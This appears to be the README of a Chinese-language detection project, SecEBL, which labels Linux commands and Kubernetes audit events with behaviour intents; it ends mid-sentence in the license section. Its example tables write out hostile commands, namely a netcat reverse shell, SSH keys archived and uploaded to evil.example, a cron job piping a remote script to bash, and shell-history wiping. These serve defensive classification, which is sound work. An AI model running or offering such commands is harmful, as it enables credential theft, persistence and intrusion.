EBWi11/SecEBL

GitHub: EBWi11/SecEBL

SecEBL 将安全遥测事件转化为可解释的行为意图标签,为入侵检测提供超越规则匹配的意图识别中间层。

Stars: 1 | Forks: 0

# SecEBL **SecEBL** 代表 **Security Event Behavior Labeler**。 SecEBL 是用于入侵检测的意图识别层。它将安全事件映射为明确的行为意图标签,随后让会话层基于行为序列进行推理,以检测威胁意图。 首个公开的模型系列是 **SecEBL-Rev20**。它在 Linux 命令行和归一化的 Kubernetes AuditLog 事件上进行训练和评估,但其设计目标更广泛:端点遥测、审计日志、云审计记录、身份事件、容器事件以及其他具有安全相关性的数据流。 用一句话概括:SecEBL 将安全遥测转化为可解释的行为意图,从而让检测能够推断出操作者试图执行的操作,而不仅仅是匹配已知的恶意字符串、固定的允许/拒绝列表或不透明的风险评分。 ## 概览 SecEBL-Rev20 旨在作为实用的安全事件行为层发挥作用,而不仅仅是一个小型的演示模型。 | 领域 | 当前发布摘要 | | --- | --- | | 行为词汇表 | 涵盖 12 个安全行为组的 361 个 Rev20 行为意图标签。 | | 训练规模 | 86,285 行内部语料库行,82,895 个可用训练观测值,以及 118,858 对有效的命令/标签训练对。 | | 语料广度 | 包含 Linux 命令以及归一化的 Kubernetes AuditLog 事件,覆盖大约 2,700 种不同的 Linux 首词(首 token)/工具形式,以及常见的安全/运维工具,如 shell 实用程序、云 CLI、IaC 工具、容器、数据库、密钥存储和 K8s 工具。 | | 基准规模 | 包含涵盖所有 361 个行为标签的 12,594 行内部 Linux 命令基准测试,663 个内部 Linux 会话,以及包含 6,286,568 行 / 102,117 个会话的压测流。 | | L1 准确率 | 在内部 Linux 命令基准测试中,top5 任意命中率达到 98.49%,micro recall@5 达到 96.44%;在 K8s 评估集中 top5 覆盖率达到 100.00%。 | | 推理性能 | RTX 5090 抽样测试:使用 FP16 + SDPA 时,平均每秒处理 5,308.72 条唯一命令行;单独测量的原始事件精确缓存查询速度约为 180 万行/秒。 | | 训练设置 | `Alibaba-NLP/gte-modernbert-base`,使用具备困难负样本感知批次的 MNRL,RTX 5090 32GB,128 个完整 epoch,批次大小为 112,耗时约 16.2 小时。 | 公开的 `examples/` 目录有意设置得比内部基准数据小。它的存在是为了让用户能够在无法访问私有遥测数据的情况下,在本地运行模型并检查输出。 ## 初次使用指南 如果你只想在本地尝试此版本,请从这里开始: 1. 使用 `pip install -e .` 安装该包。 2. 从 [Hugging Face: willchen0011/SecEBL](https://huggingface.co/willchen0011/SecEBL) 下载模型产物到 `model_artifacts/`。 3. 运行 `scripts/run_examples.sh`。 4. 检查 `runs/examples/linux_l1/predictions.jsonl`;每一行都包含排序后的 L1 `top_labels`。 L1 是稳定的行为标记 API。它输出的是排序后的行为证据,而不是入侵判定。L2 是可选且实验性的;它仅在存在诸如 `model_artifacts/l2_artifacts/logreg.joblib` 的 L2 产物时才会运行。 ## 核心理念 传统的 IDS pipeline 通常依赖于黑名单、白名单、特征、手写规则以及低可解释性的表格 ML。这些工具依然很重要。SecEBL **并不**声称要完全取代它们。 该项目增加了一个缺失的层:**意图检测**。 ``` raw security event -> L1 behavior-intent recognition -> L2 session reasoning -> alert / review / downstream policy ``` Embedding 模型在这里非常有用,因为许多遥测记录包含类似自然语言的行为证据:命令、工具名称、参数、对象名称、API 动词、资源路径以及审计消息。经过训练的 embedding 模型可以将不同的表层形式映射为相同的行为,例如凭据访问、远程执行、持久化、数据驻留或云权限修改。 这对于以下情况特别有用: - LOLT / living-off-the-land 行为(工具本身合法,但意图并非如此)。 - 规则编写滞后(新工具语法的出现速度快于特征库的维护速度)。 - 多平台遥测(相同的安全行为在 Linux、Kubernetes、云、身份或应用审计流中以不同的语法出现)。 - 可解释的检测(警报应当与行为标签关联,而不仅仅是不透明的模型评分)。 ### 为什么意图标签很重要 SecEBL 针对的实际差距不仅仅是“将此命令归类为恶意”。安全遥测中充满了以可疑方式使用的合法工具,以及在正常操作中使用的看起来可疑的词汇。规则可以匹配一个 token,但在不变得过于宽泛或过于脆弱的情况下,它通常难以代表该 token 背后的行为。 SecEBL 改变了中间表示: | 传统信号 | 典型局限 | SecEBL 表示 | | --- | --- | --- | | 工具名称、token、IOC 或规则命中 | 容易被绕过或过于依赖上下文。 | 排序后的行为意图标签,如 `spawn_reverse_shell`、`read_credential_material` 或 `query_service_health`。 | | 单一事件风险评分 | 难以解释且难以在会话间组合。 | 明确的 L1 行为证据,可由 L2 或其他下游系统聚合。 | | 特定于平台的语法 | 必须为每种日志格式重写规则。 | 共享的行为词汇表,可将 Linux 命令、K8s 审计日志和未来的遥测数据映射为可比较的意图。 | 这使得该模型即使在最终检测决策仍然使用规则、策略、分析师审查或独立的风险引擎时也非常有用。突破在于中间层:将原始事件转化为可移植、可解释的意图证据。 ## 架构 SecEBL-Rev20 分为两层。 ### L1:行为意图标记器 L1 是稳定的公开核心。它对事件进行 embedding,并从 Rev20 schema 中检索行为标签。 L1 负责: ``` What objective behavior is visible in this event? ``` 示例: - `read_credential_material` - `execute_in_workload` - `create_scheduled_task` - `grant_cloud_privilege` - `upload_sensitive_content` L1 有意**不**对单一事件是否为入侵做出判断。根据序列和环境的不同,单个命令可能是高风险的、良性的或模棱两可的。L1 为后续推理生成可解释的行为证据。 ### L2:会话风险评分器 L2 是一个实验性的会话层。它消耗缓存的 L1 输出并聚合会话级别的语义特征: - 标签比例和计数 - 家族和标记多样性 - 检索分数摘要 - 专业/例行/运维上下文比例 - 行为转换和紧凑的攻击链指标 当前维护的 L2 是一个轻量级的逻辑回归评分器,针对长运维会话包含会话级别的语义特征。它对于研究和可复现实验很有用,但应将其视为**实验性**的,而不是最终的检测架构。预期的长期方向是在意图链上进行更强大的序列建模。 运行时的 L2 不会将原始命令文本、用户名、主机名或会话 ID 用作评分特征。数据准备脚本可能会使用会话 ID 来分配审查标签,但不会将其用作运行时的允许/拒绝列表。 为了与已发布的 L2 产物兼容,L2 使用内部选定的标签特征路径,从缓存的 L1 `top_labels` 中提取会话特征。简而言之,L2 在进行会话评分之前,会在其自身的特征构建器中过滤缓存下来的已排序标签。这不是 L1 预测输出的一部分:L1 依然仅输出排序后的 `top_labels`。 ## 此版本包含的内容 本次 GitHub 发布是 SecEBL-Rev20 运行时和文档的精简公开版本。包括: - 包含 361 个行为标签的 Rev20 行为 schema; - 用于命令行和归一化 K8s 审计事件的 L1 预测和评估辅助工具; - 消耗缓存 L1 输出的实验性 L2 会话评分器; - 经过审查的公开示例数据,可用于运行冒烟测试; - 一条命令的脚本,可在 Linux、macOS 或 CPU 回退环境中运行公开示例。 模型权重有意在 Hugging Face 上单独分发,因为它们体积较大:[willchen0011/SecEBL](https://huggingface.co/willchen0011/SecEBL)。 完整的训练语料库、内部基准测试、私有压测流数据和私有运行日志未重新分发,因为其中部分内容包含真实的遥测数据或真实的运维上下文。公开示例证明了发布的代码路径能够端到端运行;主要的质量指标来自下文所述的更大规模的内部评估。 ## 仓库结构 | 路径 | 用途 | | --- | --- | | `tags_schema_rev20.json` | 规范的 Rev20 行为词汇表。 | | `secebl_l1/` | L1 标签预测和评估辅助工具。 | | `secebl_l2/` | 实验性 ML L2 会话评分器和 L2 标签风险策略。 | | `scripts/run_examples.sh` | 一键式公开示例数据冒烟测试运行程序。 | | `examples/linux/` | 经过审查的公开 Linux 命令会话示例及匹配的 Rev20 标签。 | | `examples/k8s/` | 归一化的 Kubernetes AuditLog 示例及匹配的 Rev20 标签。 | | `pyproject.toml` | Python 包元数据、依赖项和 CLI 入口点。 | | `LICENSE`, `NOTICE` | 仓库许可证和归属声明。 | 训练语料库、完整的内部基准测试和私有压测流数据有意未包含在此公开的 GitHub 版本中,因为它们包含真实的运维上下文。 ## 数据和词汇表 ### Rev20 Schema Rev20 是一个扁平的行为标签 schema。 | 项目 | 数量 | | ---: | ---: | | 顶层行为组 | 12 | | 行为标签 | 361 | Schema 组: | 组别 | 标签数 | | --- | ---: | | `observation_and_discovery` | 51 | | `configuration_and_log_modification` | 12 | | `filesystem_and_data` | 33 | | `execution_and_process` | 28 | | `network` | 51 | | `identity_auth_and_secrets` | 31 | | `persistence_services_and_storage` | 27 | | `kernel_memory_and_tracing` | 14 | | `package_build_and_source` | 19 | | `database_and_infrastructure_services` | 33 | | `containers_and_cloud_native` | 34 | | `cloud_control_plane` | 28 | 该 schema 经历了几次设计迭代。早期版本使用多轴标签,随后是六轴方案。Rev20 转向使用扁平的行为标签词汇表,在训练和评估标签文件中表示为 `behavior_tags[]`,因为它更容易评估、更容易解释,也更容易被下游的会话评分所消耗。运行时的 L1 预测会暴露排序后的 `top_labels`。当前的 schema 依然通过策略元数据保留了语义族。 ### 训练语料库摘要 训练语料库不包含在此公开仓库中,但发布基线是由以下内部 Rev20 语料库训练而成的: | 语料库 | 行数 | 唯一行为标签数 | 备注 | | --- | ---: | ---: | --- | | Linux 命令语料库 | 85,277 | 361 | 混合了生成的、经过审查的和手动扩充的命令示例。 | | Kubernetes AuditLog 语料库 | 1,008 | 40 | 手工编写的归一化 K8s 审计事件。 | 根据保守的可执行文件名估算,Linux 语料库涵盖了大约 2,700 种不同的首词(首 token)/工具形式。常见的家族包括 shell 实用程序、网络工具、打包/构建工具、云 CLI、IaC 工具、容器工具、数据库、密钥存储和 Kubernetes 工具。常见的例子包括 `curl`、`kubectl`、`aws`、`grep`、`cat`、`systemctl`、`find`、`ssh`、`docker`、`git`、`redis-cli`、`journalctl`、`psql`、`gcloud`、`mysql`、`az`、`nmap`、`vault` 和 `terraform`。 Linux 语料库中排名前列的标签包括: | 标签 | 计数 | | --- | ---: | | `stage_temporary_path` | 5,179 | | `read_credential_material` | 4,512 | | `read_infrastructure_config` | 3,427 | | `upload_external_content` | 1,886 | | `stage_hidden_path` 1,580 | | `search_credentials` | 1,488 | | `modify_service_state` | 1,459 | | `upload_sensitive_content` | 1,424 | | `read_business_data` | 1,378 | | `execute_remote_command` | 1,374 | K8s 语料库中排名前列的标签包括: | 标签 | 计数 | | --- | ---: | | `modify_workload` | 221 | | `enumerate_cluster_resources` | 131 | | `modify_cluster_auth_policy` | 53 | | `modify_route` | 49 | | `execute_in_workload` | 47 | | `inspect_workload` | 45 | | `grant_cluster_privilege` | 39 | | `modify_firewall_policy` | 38 | | `modify_verification_material` | 37 | | `inspect_auth_policy` | 33 | ### 训练细节 原始训练语料库不会被重新分发,但最终的公开发布使用了以下内部 Rev20 训练运行。包含这些数字是为了让读者在不访问私有遥测数据、审查队列或生成的 tensor 的情况下,也能了解训练的规模和方法。 | 项目 | 数值 | | --- | --- | | 基础模型 | `Alibaba-NLP/gte-modernbert-base` | | 训练目标 | 结合困难负样本感知批次的 `MultipleNegativesRankingLoss` | | 训练硬件 | NVIDIA GeForce RTX 5090, 32GB VRAM, `cuda:0` | | Epochs | 128 个完整 epoch | | 批次大小 | 112 | | 精度 | `fp32` | | 步数 | 每个 epoch 1,062 步;总共 135,936 个优化器步数 | | 运行时间 | 58,291 秒,约 16.2 小时 | | 序列长度 | 160 个 token | | 优化器调度 | 学习率 `2e-5`,预热比例 `0.06`,8,156 个预热步数,权重衰减 `0.01` | 训练数据规模: | 训练产物 | 计数 | 备注 | | --- | ---: | --- | | 组合语料库行数 | 86,285 | 85,277 行 Linux 命令加上 1,008 行 K8s AuditLog。 | | 非空训练观测值 | 82,895 | 跳过 3,390 行弃权行后,具有可用行为标签的行。 | | 基础命令-标签对 | 117,092 | 边界过采样之前的正向命令/标签对。 | | 有效正向配对 | 118,858 | 经过定向边界过采样后的最终配对数。 | | 行为标签 | 361 | 标签端使用的完整 Rev20 行为词汇表。 | Linux 语料库被有意混合,而不是单一的合成来源。最大的源切片大约包括 3.69 万条生成行,2.85 万条手动审查行,4 千条基准修剪/迁移行,3.6 千条常见差异间隙行,2.7 千条已审查的生成行,2.6 千条基准手动行以及 2.3 千条攻击批次行,加上较小的定向边界、漏检审查、公开攻击和高漏检批次。 Token 长度足够短,适用于紧凑的编码器。在最终的配对集中,命令侧文本的长度为 p50 32 个 token,p90 为 55,p95 为 68,p99 为 113;只有不到 0.3% 的样本超过了 160 个 token 的训练限制。标签侧的语义文本为 p50 40 个 token,p95 为 62 个 token。 困难负样本分两层设计: - Schema 级负样本:数据集构建器使用了 `schema_hard`,在 MNRL 批次处理之前,具有 16 个项目的困难负样本池,每个正样本最多包含 8 个负样本。这些负样本来自语义上相近的 Rev20 标签,因此强制模型区分诸如读取与搜索、检查与修改、本地与远程执行等标签,以及类似的工具边界情况。 - 批次级负样本:训练加载器使用了具有困难负样本感知能力的 MNRL 批次。最终运行使用了配置 `rev20_conservative_20260620_ep96_miss_v11`,涵盖了 74 个困难标签,并在可能的情况下在每个锚点附近放置了 2 个困难负样本标签。 - 边界过采样:1,766 对边界敏感的配对被复制了一次,产生了 1,766 次额外的训练曝光。这些行针对反复出现的失败模式,如 grep/读取歧义、包装器命令、特定工具边界、无命中审查案例以及评估后的漏检审查批次。 ### 公开示例数据 **重要提示:训练语料库和完整的内部基准测试是不公开的,因为其中部分包含真实的遥测数据或真实的运维上下文。** 公开的 `examples/` 目录是一个小型的、经过审查的子集,用于冒烟测试和 API 演示。它证明了发布的代码路径可以运行,但它并不是主要的评估集。 出于这个原因,完整的 Linux 基准测试、训练语料库、私有压测流数据、语料库审查队列、标签草稿文件、生成的训练 tensor 以及私有运行日志均被排除在外。为了使报告的指标具有可解释性,此 README 包含了内部基准测试的摘要统计数据:行数、标签覆盖范围、标签基数以及最常出现的标签。 | 公开示例产物 | 行数 | 会话数 | 备注 | | --- | ---: | ---: | --- | | Linux 示例会话 | 1,365 | 60 | 从保留的内部基准测试中选出的 30 个完整的正常会话和 30 个完整的入侵会话;命令文本原样保留。 | | Linux 示例标签 | 1,365 | 60 | 与 Linux 示例相匹配的 Rev20 行为标签。 | | K8s 示例会话 | 144 | 46 | 归一化的 Kubernetes AuditLog 示例,仅包含公开元数据。 | | K8s 示例标签 | 144 | 46 | 与 K8s 示例相匹配的 Rev20 行为标签。 | 公开的 Linux 示例旨在用于对 L1 和 L2 代码路径进行复制/粘贴验证。它们的会话标签被标准化为英文枚举值,而命令文本与所选的内部会话保持不变。 **验证要点:紧凑的公开示例展示了如何运行此版本,而报告的质量指标则来自更大规模的内部评估。这些内部基准测试包括密集的多标签命令、正常操作、入侵链和压测流会话,因此它们是比仅仅依靠公开示例强大得多的验证目标。** 会话级别的 `expected` 和 `session_expected` 标签使用英文枚举:`intrusion` 和 `normal_operation`。这些标签是评估标签,不能替代生产环境的授权、事件响应或人工审查。 内部基准测试摘要,未重新分发: | 内部评估集 | 行数 / 会话数 | 行为标签覆盖范围 | 备注 | | --- | ---: | ---: | --- | | Linux 命令基准测试 | 12,594 行 | 361 / 361 个标签 | 完整的 L1 行为标签评估集。 | | Linux 会话基准测试 | 663 个会话 | n/a | L2 内部会话级评估集。 | | 私有压测流 | 6,286,568 行 / 102,117 个会话 | n/a | 大规模运维压力流。 | 内部 Linux 基准测试标签基数: | 每行标签数 | 行数 | | --- | ---: | | 0 | 705 | | 1 | 8,829 | | 2 | 1,567 | | 3 | 901 | | 4 | 402 | | 5 | 139 | | 6+ | 51 | 内部 Linux 基准测试中排名前列的标签: | 标签 | 计数 | | --- | ---: | | `stage_temporary_path` | 987 | | `inspect_network_state` | 801 | | `stage_hidden_path` | 655 | | `inspect_current_identity` | 578 | | `read_credential_material` | 551 | | `inspect_system_state` | 481 | | `inspect_infrastructure_service` | 390 | | `query_dns_records` | 372 | | `enumerate_filesystem` | 365 | | `search_credentials` | 315 | 公开 K8s 示例中排名前列的标签: | 标签 | 计数 | | --- | ---: | | `modify_workload` | 20 | | `execute_in_workload` | 19 | | `spawn_interactive_shell` | 18 | | `read_cluster_secret` | 17 | | `read_workload_logs` | 11 | | `grant_cluster_privilege` | 10 | | `enumerate_cluster_resources` | 8 | | `modify_cluster_auth_policy` | 7 | | `manage_infrastructure_backup` | 7 | | `execute_scheduled_task` | 7 | ## L1 结果 这些结果适用于通过 Hugging Face 分发的公开 SecEBL-Rev20 发布模型。生成该模型的内部训练/评估运行不会重新分发;此处仅记录了汇总的基准测试统计数据。 评估规模: | 数据集 | 行数 | 带标签的行数 | 行为标签实例 | 唯一行为标签数 | | --- | ---: | ---: | ---: | ---: | | Linux 内部基准测试 | 12,594 | 11,889 | 17,287 | 361 / 361 | | K8s 评估集 | 144 | 144 | 163 | 27 / 361 | | 合计 | 12,738 | 12,033 | 17,450 | 361 / 361 | 检索质量: | 数据集 | 动态精确匹配 | Top5 任意命中 | Top5 全覆盖 | Micro recall@5 | | --- | ---: | ---: | ---: | ---: | | Linux 内部基准测试 | 87.32% | 98.49% | 95.44% | 96.44% | | K8s 评估集 | 99.31% | 100.00% | 100.00% | 100.00% | | 合计 | 87.47% | 98.50% | 95.50% | 96.47% | **这些主要的 L1 指标是在内部评估数据上测量的,而不是在公开的 `examples/` 子集上测量的。** Linux 基准测试涵盖了完整的 361 个标签的 Rev20 词汇表,并包含复杂的多标签命令行;在该集合上保持 98.49% 的 top5 任意命中率和 96.44% 的 micro recall@5 是证明 L1 在玩具示例之外依然稳健的主要证据。K8s 的数值应被视为一个小领域的健全性结果,而不是广泛的 Kubernetes 覆盖率:当前的 K8s 语料库比 Linux 语料库小得多,涵盖的行为标签也更少。L1 目前遗留的最大弱点是对密集的多标签行进行严格的精确匹配。关键的准确性和性能指标已在此 README 中进行了总结,以便发布版本能够保持紧凑,而无需单独的文档目录。 ### 细粒度对比示例 这些示例是使用公开的 SecEBL-Rev20 发布模型进行评分的。分数是应用发布提示配置文件后的余弦/检索分数。该表显示了前 3 个标签。 | 事件 | 前 3 个 L1 标签 | 说明 | | --- | --- | --- | | `nc -e /bin/sh 203.0.113.10 4444` | spawn_reverse_shell 0.811
connect_external_service 0.488
spawn_bind_shell 0.451 | `-e` 被识别为反向 shell 执行。 | | `nc -v 203.0.113.10 443` | connect_external_service 0.732
spawn_reverse_shell 0.503
create_reverse_tunnel 0.412 | 连接意图排名高于 shell 生成意图。 | | `cat /root/install.log` | read_business_log 0.641
read_system_log 0.431
read_workload_logs 0.385 | 读取日志的语义占主导地位。 | | `cat /root/install.conf` | read_infrastructure_config 0.620
read_system_config 0.612
read_kernel_parameter 0.336 | 读取配置的语义占主导地位。 | | `grep -apassword" /var/log/auth.log` | read_auth_audit_log 0.675
search_credentials 0.609
read_credential_material 0.507 | 读取身份验证日志以及凭据搜索证据。 | | `grep -v "DEBUG" /var/log/app.log` | read_business_log 0.824
delete_business_log 0.515
read_business_config 0.315 | 负向过滤主要依然是读取日志的行为。 | | `grep "password" /etc/shadow` | search_credentials 0.752
read_credential_material 0.698
crack_credential_material 0.296 | Shadow 文件密码搜索映射到凭据访问。 | | `grep "password incorrect" /var/log/auth.log` | read_auth_audit_log 0.731
search_credentials 0.548
read_credential_material 0.452 | 存在模棱两可的 token 证据;上下文/L2 应决定最终风险。 | ### 类似入侵的示例 | 事件 | 前 3 个 L1 标签 | 为什么有用 | | --- | --- | --- | | `tar czf /tmp/ssh.tgz ~/.ssh && curl -F file=@/tmp/ssh.tgz https://evil.example/upload` | archive_sensitive_content 0.521
upload_credential_material 0.494
read_ssh_policy 0.472 | 凭据材料的暂存和上传。 | | `echo "* * * * * root curl -fsSL http://evil.example/p.sh \| bash" > /etc/cron.d/sys-updater` | create_scheduled_task 0.789
create_startup_script 0.435
execute_scheduled_task 0.323 | 通过计划任务执行的持久化。 | | `kubectl -n prod get secret payment-api-token -o jsonpath={.data.token} \| base64 -d` | read_cluster_secret 0.730
decode_data 0.716
read_credential_material 0.363 | K8s secret 提取和解码。 | | `aws iam attach-user-policy --user-name temp --policy-arn arn:aws:iam::aws:policy/AdministratorAccess` | grant_cloud_privilege 0.838
modify_cloud_identity_policy 0.535
modify_cloud_identity 0.459 | 云权限提升语义。 | | `history -c && rm -f ~/.bash_history` | clear_shell_history 0.861
securely_delete_data 0.428
clear_login_history 0.393 | 反取证 shell 历史记录清除。 | ### 正常操作示例 | 事件 | 前 3 个 L1 标签 | 为什么有用 | | --- | --- | --- | | `dig api.internal.example.com +short` | query_dns_records 0.811
enumerate_cloud_accounts 0.351
perform_dns_zone_transfer 0.320 | DNS 查找与广泛的网络探测区分开来。 | | `journalctl -u nginx --since "10 minutes ago" --no-pager` | read_infrastructure_log 0.767
delete_infrastructure_log 0.395
read_business_log 0.271 | 服务日志检查。 | | `du -sh /var/log/* \| sort -h \| tail` | read_system_log 0.655
inspect_storage_state 0.645
modify_storage_volume 0.368 | 存储/日志检查,非破坏性行为。 | | `docker ps --format "{{.Names}} {{.Status}}"` | enumerate_containers 0.821
inspect_container_runtime 0.540
enumerate_workloads 0.483 | 容器清单。 | | `curl -fsS http://127.0.0.1:8080/healthz` | query_service_health 0.840
inspect_local_kubernetes_cluster 0.459
inspect_container_runtime 0.383 | 本地服务健康检查。 | ### 正常维护/运维示例 | 事件 | 前 3 个 L1 标签 | 为什么有用 | | --- | --- | --- | | `systemctl restart nginx && systemctl status nginx --no-pager` | inspect_service 0.671
modify_service_state 0.669
enable_service 0.332 | 服务重启加验证。 | | `kubectl -n prod rollout restart deployment/payment-api` | modify_workload 0.799
modify_container_state 0.444
inspect_workload 0.428 | 工作负载上线维护。 | | `pg_dump -h db.internal -U backup appdb \| gzip > /backup/appdb-$(date +%F).sql.gz` | compress_data 0.731
export_database_dump 0.682
manage_database_backup 0.470 | 数据库备份行为。 | | `trivy image registry.internal/app/payment-api:20260621` | scan_container_image 0.701
enumerate_container_images 0.373
inspect_container_image 0.349 | 容器镜像安全扫描。 | | `terraform plan -out tfplan && terraform show -no-color tfplan` | plan_infrastructure_template 0.843
initialize_infrastructure_template 0.368
read_infrastructure_config 0.353 | 基础设施规划,而非应用/销毁。 | ## L1 性能 SecEBL-Rev20 是一个基于 SentenceTransformers 风格的 embedding 检索器,包含 361 个 Rev20 标签定义。服务路径对事件进行 embedding,然后对标签定义进行 embedding 或加载,最后根据相似度对标签进行排名。 当前的单卡 CUDA 推荐: | 设置 | 数值 | | --- | --- | | 精度 | FP16 | | Attention | SDPA | | `max_seq_length` | 160 | | 批次大小 | 默认 224;在一次 RTX 5090 扫描中,384 稍微快一些,但不足以取代稳定的默认值 | | 排序 | `sort_by=char` | | 填充 | 动态填充,无强制对齐填充 | | 输出路径 | GPU tensor 输出加上 GPU top-k | 在 NVIDIA GeForce RTX 5090 32GB 上的抽样测试: | 模式 | 吞吐量 | | --- | ---: | | 推荐的无缓存唯一推理,`bs224` | 平均每秒 5,308.72 条唯一命令行 | | 推荐的无缓存延迟,`bs224` | 每条唯一命令行约 0.1884 ms | | `bs224` 重复范围 | 5,025.47 - 5,433.78 条唯一命令行/秒 | | 最佳快速扫描点,`bs384` | 5,378.45 条唯一命令行/秒 | 单独测量的精确原始事件缓存查询平均速度为每秒 1,817,462.76 行。缓存命中会重用已保存的 L1 top-k 结果,并且不会运行模型推理。 主要优化点: - 使用 SDPA 注意力机制的 FP16 推理。 - 将命令 embedding 和标签 embedding 保留在 GPU 上。 - 在 GPU 上运行 top-k,而不是将完整的 embedding 矩阵复制到 NumPy。 - 按命令长度对批次进行排序,以减少填充浪费。 - 对重复的大容量数据流使用精确的原始事件缓存。 缓存键是精确的原始事件字符串。缓存命中会重用相同的 L1 top-k 预测,且不会改变模型语义。 ## L2 结果 当存在 `l2_artifacts/logreg.joblib` 时,这些结果适用于当前公开模型产物中附带的优化版 L2 评分器。 在此版本中,**会话**是由 `session_id` 分组的事件序列。对于 Linux 命令示例,这通常意味着来自同一活动窗口的命令历史或审计事件序列。L1 独立标记每个事件;L2 通过聚合缓存的 L1 已排序标签、检索分数、标签多样性、行为转换和例行操作上下文来对整个会话进行评分。因此,L2 的输出是会话级别的判定(如 `intrusion` 或 `normal_operation`),而不是替换每个命令的行为标签。 **L2 是一个实验性的拟合会话评分器,其高准确率应在此确切范围内理解。** 它针对当前的内部实验进行了优化:在 L1 语义特征之上拟合一个轻量级的会话算法,然后针对保留的 Linux 内部会话和 700 万行的压力流进行检查。因此,下面显示的高会话准确率证明了这种拟合的 L2 设置在当前复杂的内部基准测试和压力数据上表现良好。它并不是对一般生产环境 IDS 准确率的独立声明,也不应直接与 L1 标签检索指标进行比较。 内部 Linux 会话基准测试结果: | 会话 | TP | FN | FP | TN | 攻击召回率 | 正常召回率 | 攻击精确率 | | ---: | ---: | ---: | ---: | ---: | ---: | ---: | ---: | | 663 | 365 | 0 | 0 | 298 | 100.00% | 100.00% | 100.00% | 内部 700 万压力流结果: | 行数 | 会话数 | 告警会话数 | 真实告警会话数 | 合成告警会话数 | | ---: | ---: | ---: | ---: | ---: | | 6,286,568 | 102,117 | 61 | 1 | 60 | **700 万压力测试结果是对真实后台遥测加上嵌入式攻击会话的拟合检查,而非公开基准测试。** 61 个告警会话包括一个经过审查的真实类攻击压力会话和 60 个嵌入在压力流中的合成攻击会话。底层的压力流数据和真实会话标识符不会被重新分发。 L2 训练/评估组合: | 项目 | 计数 | | --- | ---: | | L2 会话 | 5,747 | | 正向会话 | 426 | | 负向会话 | 5,321 | | 合成压力正向会话 | 60 | | 经过审查的真实压力正向会话 | 1 | | 随机的真实压力后台负向会话 | 5,000 | | 经过审查的困难负样本压力会话 | 23 | L2 OOF 验证: | 指标 | 数值 | | --- | ---: | | 准确率 | 99.39% | | 攻击精确率 | 96.44% | | 攻击召回率 | 95.31% | | 正常召回率 | 99.72% | | TP / FN / FP / TN | 406 / 20 / 15 / 5,306 | L2 性能,纯内存会话状态加上最终评分: | 事件数 | 平均吞吐量 | 最佳吞吐量 | | ---: | ---: | ---: | | 1,000,000 | 151,169 个事件/秒 | 159,695 个事件/秒 | L2 被有意记录为实验性的。包含它是为了让用户能够重现会话级别的实验,但 L1 行为意图识别才是主要的稳定发布产物。 ## 快速开始 安装辅助包: ``` python3 -m venv .venv source .venv/bin/activate pip install -e . ``` 从 [Hugging Face: willchen0011/SecEBL](https://huggingface.co/willchen0011/SecEBL) 下载 SecEBL-Rev20 模型产物到 `model_artifacts/`。该目录必须包含 embedding 模型文件和 `semantic_texts.jsonl`。L1 公开示例指标是根据 top-k 排序计算的,因此公共示例路径不需要进行 L1 阈值调优。 示例运行程序不会自动下载模型权重。它期望模型产物已在本地存在。 : ``` git lfs install git clone https://huggingface.co/willchen0011/SecEBL model_artifacts ``` 关键的本地产物文件: ``` model_artifacts/ config.json modules.json model.safetensors semantic_texts.jsonl l2_artifacts/logreg.joblib # optional, enables L2 example scoring ``` 克隆的 Hugging Face 存储库还包含被 embedding 模型使用的 tokenizer 文件和 SentenceTransformers 模块目录。 ### 预测标签 单个 Linux 命令: ``` secebl-predict-tags \ --model model_artifacts \ --data-dir model_artifacts \ --text 'nc -e /bin/sh 203.0.113.10 4444' \ --output runs/demo/predictions.jsonl ``` 单个归一化的 Kubernetes AuditLog 事件: ``` secebl-predict-tags \ --model model_artifacts \ --data-dir model_artifacts \ --text 'k8s_audit verb=create resource=pods subresource=exec namespace=prod requestObject=command=/bin/sh' \ --output runs/demo/k8s_predictions.jsonl ``` 也支持 JSONL 输入。预测器会依次读取 `cmdline`、`command`、`k8slog`、`raw`、`event` 或 `message` 中第一个可用的字段: ``` secebl-predict-tags \ --model model_artifacts \ --data-dir model_artifacts \ --input my_events.jsonl \ --output runs/my_events/predictions.jsonl ``` 输出包含 `command` 和 `top_labels`。`top_labels` 是排序后的 Rev20 行为证据列表;每一项包含 `label_id`、分数和行为组。报告的 L1 指标是根据 top-k 覆盖率计算的。 示例输出行: ``` { "observation_id": "event:0", "command": "nc -e /bin/sh 203.0.113.10 4444", "top_labels": [ {"label_id": "spawn_reverse_shell", "score": 0.811, "axis": "execution_and_process"}, {"label_id": "connect_external_service", "score": 0.488, "axis": "network"} ] } ``` L1 不会输出 `behavior_tags` 或最终判定。下游代码应使用排序后的 `top_labels` 列表。 ### 运行公开示例 运行具有自动设备选择功能的公共 Linux/K8s 示例数据 L1 路径。该脚本在 NVIDIA 上使用 CUDA,在 macOS Apple Silicon 上(如果可用)使用 MPS,否则使用 CPU: ``` scripts/run_examples.sh ``` 有用的覆盖参数: ``` MODEL_DIR=/path/to/model_artifacts \ OUT_DIR=runs/examples_mac \ DEVICE=mps \ BATCH_SIZE=64 \ scripts/run_examples.sh ``` 如果 L2 模型可用,脚本将自动检测 `model_artifacts/l2_artifacts/logreg.joblib` 并继续进行 Linux 示例会话评分。你也可以显式设置 `L2_MODEL`: ``` L2_MODEL=model_artifacts/l2_artifacts/logreg.joblib scripts/run_examples.sh ``` ### 手动示例命令 为 Linux 公开示例标签集生成 L1 预测: ``` secebl-predict-benchmark-tags \ --benchmark examples/linux/example_gold.rev20.jsonl \ --model model_artifacts \ --data-dir model_artifacts \ --save-top-k 5 \ --prompt-profile mid \ --out-dir runs/example_gold_l1 ``` 评估命令级别的示例标签: ``` secebl-eval-gold \ --gold examples/linux/example_gold.rev20.jsonl \ --predictions runs/example_gold_l1/predictions.jsonl \ --out runs/example_gold_l1/top5_tag_accuracy.json ``` 使用 ML L2 产物对会话进行评分: ``` secebl-l2 score \ --input examples/linux/example_sessions.jsonl \ --predictions runs/example_gold_l1/predictions.jsonl \ --risk-policy secebl_l2/tag_risk_policy.rev20.json \ --model model_artifacts/l2_artifacts/logreg.joblib \ --output runs/l2/example_session_results.json ``` ## 许可证和合规性 此 GitHub 仓库包含代码、文档、schema、策略元数据和公开示例数据。除非文件另有明确说明,否则这些仓库内容均采用 Apache-2.0 许可证。 模型权重不包含在此 GitHub 仓库中。SecEBL-Rev20 模型产物在 [Hugging Face: willchen0011/SecEBL](https://huggingface.co/willchen0011/SecEBL) 上单独发布,并受该 Hugging Face 发布版本中分发的模型许可证和模型卡约束。在运行预测示例之前,请将模型产物下载到 `model_artifacts/` 中。 基础模型是 